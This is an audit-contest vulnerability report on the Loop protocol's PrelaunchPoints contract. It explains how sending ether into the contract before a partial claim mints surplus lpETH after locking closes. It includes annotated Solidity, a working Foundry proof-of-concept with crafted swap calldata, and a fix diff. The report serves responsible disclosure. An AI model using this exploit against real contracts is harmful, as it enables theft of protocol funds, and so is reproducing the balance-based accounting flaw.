User can skip locking mechanism funnelling in ether deposits to mint `lpETH` when the time deemed to do so is long past

Question

User can skip locking mechanism funnelling in ether deposits to mint `lpETH` when the time deemed to do so is long past

howlbot-integration opened this issue 2 years ago · 4 comments

howlbot-integration commented 2 years ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264

Vulnerability details

Impact

A user can still deposit more and end up minting more lpETH even at a time when it is no longer possible to be eligible to do so by funneling in ether deposits on every small lpETH claim which resolves to mint more lpETH than expected by the protocol without the supposed full amount being locked in ETH, WETH or LRTs in the first place.

This breaches one of the protocol's invariants:

Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept

Alice locks 1 LRT or less. Let's assume the LRT is Renzo ETH in this case ezETH

PrelaunchPoints.sol#L143-L148

function lock(address _token, uint256 _amount, bytes32 _referral) external {
        if (_token == ETH) {
            revert InvalidToken();
        }
@>      _processLock(_token, _amount, msg.sender, _referral); // @note processes Alice's deposit of 1 ezETH
    }

We skip to the time when locking is no longer possible as the loop has been activated. We can see in the _processLock() function below, that there is a modifier to stop locking when the loop is activated onlyBeforeDate()

PrelaunchPoints.sol#L172-L175

function _processLock(address _token, uint256 _amount, address _receiver, bytes32 _referral)
        internal
@>      onlyBeforeDate(loopActivation) // @note blocks locking attempts after loop activation
    {
...

modifier onlyBeforeDate(uint256 limitDate) {
        if (block.timestamp >= limitDate) { // @note this reverts if loop activated
            revert NoLongerPossible();
        }
        _;
    }

PrelaunchPoints.sol#L211-L216

She calls claim()

function claim(address _token, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        external
        onlyAfterDate(startClaimDate)
    {
        _claim(_token, msg.sender, _percentage, _exchange, _data);
    }

Which executes _claim()

PrelaunchPoints.sol#L240-L266

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token]; // @note 1 ezETH
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100; // @note resolves to 1e16 with 1% passed in as the amount to claim or mint
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract // <---- @note initial protocol assumption, but it is wrong since she sends the ether into the contract directly
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data); // swaps 1e16 ezETH to ether and sends those in here ... now we have 100 ethers + 1e16 or whatever the swap returns - slippage and fee

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // @note now its 100 ether + 1e16 assuming no bad swap impact
            lpETH.deposit{value: claimedAmount}(_receiver); // @note mints 100 + 1e16 `lpETH` to Alice
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Following the _claim above, Since at this point in time, when claiming of lpETH has been activated and set, what she should only be able to do normally, is to claim aka swap her 1e18 ezETH balance to 1e18 lpETH. But what she does instead is to call the claim function, pass in x% to only convert x% of her ezETH into lpETH which, if she passed in 1% should resolve to having 1e16 lpETH claimed but then she first sends 100 ethers into the PrelaunchPoints contract which then allows her to now have 100 lpETH claimed + the 1e16 resolving from the 1% she specified. This effectively breaches the protocol assumption that Alice will only ever be able to mint 1 lpETH when in fact she has just minted 100 lpETH plus 1e16 lpETH plus the .99 ezETH she is yet to convert/claim and will leverage to mint more lpETH to continue exploiting this loophole.

Below is a coded POC for this exploit. Please read the test and paste it into the PrelaunchPoints.t.sol test contract. Run it with forge test --mt testBypassLockingPOC. You can append -vvvvv flag for execution trace verbosity.

// HELPER FUNCTION WE USED TO CRAFT THE SWAP INPUT DATA

    event EncodedPath(bytes encodedPath);

    function testEncodeSwapPath() public {
        address inputToken = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; // aka mock ezETH
        uint24 fee = 100; // uniswap ezETH/WETH pool right now is 0.01% fee
        address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // aka WETH address

        bytes memory encodedPath = abi.encodePacked(inputToken, fee, outputToken); // @note encoded swap path

        emit EncodedPath(encodedPath); // @note log so we can see and grab the bytes data
    }

    function testSellTokenForEthToUniswapV3Args_encoded() public {

        bytes memory usingFuncSel = abi.encodeWithSignature("sellTokenForEthToUniswapV3(bytes encodedPath, uint256 sellAmount, uint256 minBuyAmount, address recipient)", hex"5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", 0.01 ether, 0, 0x2e234DAe75C793f67A35089C9d99245E1C58470b);

        emit EncodedPath(usingFuncSel);

        /*
            0x1316cb1a0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000

                                THEN WE SWAP THE FUNCTION SIG INTO THE CALLDATA FROM `0x1316cb1a` TO `0x803ba26d` before proceeding to use it 
                                in the `prelaunchPoints.claim` call below in the `testBypassLockingPOC` function

            0x803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000
        */   
    }

    // EXPLOIT POC
    function testBypassLockingPOC() public {
        address alice = makeAddr("alice");

        // @note alice has 2 ezETH in her wallet
        lrt.mint(alice, 2 ether);

        uint256 lockAmount = 1 ether;

        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), lockAmount * 2); // @note alice approves prelaunchPoints to transfer 2 ezETH but she only deposits 1
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), lockAmount, referral); // @note alice locks 1 ezETH into prelaunchPoints

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        // @note alice has acquired 100 ethers in her wallet
        vm.deal(alice, 100 ether);

        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claim transaction execution
        vm.deal(address(prelaunchPoints), 100 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice);
        vm.expectRevert(); // @note just testing to make sure locking ether or LRT is no longer allowed by the protocol but alice will breach it in the next call
        prelaunchPoints.lock(address(lrt), lockAmount, referral);

        vm.prank(alice); // @note alice specifies 1% which should resolve to only 1 lpETH being minted to her but then ...
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note since she transferred ether directly right before the claim call, she ends up with 100 lpETH plus the 0.01 ether the swap will send back to prelaunchPoints
        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.99 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETH.balanceOf(alice), 100 ether); // @note she successfully breaches the locking mechanism to get 100 lpETH + 0.01 lpETH that will be a result of the swap sending back ether to prelaunchPoints
    }

Test result:

[PASS] testBypassLockingPOC() (gas: 299809)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.52ms (4.22ms CPU time)

Tools Used

Manual review

Recommended Mitigation Steps

Use this modification of the else block in the _claim() function instead:

        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;
+           uint256 prevBalance = address(this).balance;
            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
+           uint256 currBalance = address(this).balance;

+           claimedAmount = currBalance - prevBalance;
-           claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

With this change, even if Alice tries to send ethers into the contract directly, it will be at a lost cause as she effectively donates it without exploiting the loophole.

Assessed type

Timing

Answer 1 · 2024-05-15T13:57:23.000Z

koolexcrypto marked the issue as duplicate of #6

Answer 2 · 2024-05-31T09:58:34.000Z

koolexcrypto marked the issue as duplicate of #33

Answer 3 · 2024-06-05T09:55:44.000Z

koolexcrypto marked the issue as satisfactory

Answer 4 · 2024-06-05T09:55:55.000Z

koolexcrypto changed the severity to 3 (High Risk)